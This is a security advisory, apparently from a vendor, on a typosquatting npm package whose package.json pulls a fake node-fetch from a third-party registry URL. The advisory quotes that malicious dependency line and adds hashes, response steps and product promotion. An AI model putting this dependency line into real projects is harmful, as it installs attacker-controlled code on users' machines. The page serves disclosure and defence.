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Malicious package

express-enrouten-asyncnpm

express-enrouten-async is a confirmed malicious npm package (MAL-2026-4556) that typosquats a legitimate package to trick installs (malicious versions 1.4.11, 1.4.12). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in express-enrouten-async (npm)

MAL-2026-4556
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall express-enrouten-async

What this malware does

Package name mimics the legitimate express-enrouten route-discovery library, but the shipped index.js only hardcodes two demo routes rather than implementing automatic route discovery. The malicious mechanism is in package.json, which declares "node-fetch": "https://registry.ctzbg.com/express-enrouten-async/node-fetch" — a direct URL dependency pointing at a third-party, non-npm registry under a path namespaced to this package. On npm install, npm fetches and installs whatever tarball that URL serves as the installer's node-fetch, so any code requiring node-fetch in the host application loads attacker-controlled, unpinned, mutable bytes from a non-publisher domain. This is dependency-confusion-style supply-chain attack: the lookalike package name lures the install, and the URL-pinned fake node-fetch is the delivery vehicle for arbitrary code into the installer's dependency tree.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

2 flagged
1.4.111.4.12

Indicators of compromise (SHA-256)

5d8f74bd578bedcd5395600fd615f05122d59e27e0a59318ee226d123c67092c
6ad6c1863bd00e262f6555b8e450c471e494e2f808c9f89ba09fa248689f8a24
92452005ac9e56af97c1209041f118aa294e5a5350a6df1e943cea1fdb0e0b5b
f944bc544f9368e58a223e76e462ddec4ba325c728a233100182706ad8f0ae0e
cdb80cf068509a98c0d81e9d31a8ebc6ff50e535d01bb39f492cdd12f58fd51d

Detection & response playbook

Typosquat
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for express-enrouten-async (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging express-enrouten-async across your stack and pipelines.

  2. If you installed it — respond

    express-enrouten-async is a typosquat — you almost certainly intended a legitimately-named package. Remove express-enrouten-async, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If express-enrouten-async was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks express-enrouten-async before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. express-enrouten-async on npm has been identified as a malicious package (versions 1.4.11, 1.4.12 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004244IN-MAL-2026-004243IN-MAL-2026-004240IN-MAL-2026-004239GHSA-25jv-xr7c-mx67

References

Credits

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Detect & block this

O3 blocks express-enrouten-async-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

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express-enrouten-async (npm) malicious package — MAL-2026-4556 | O3 Security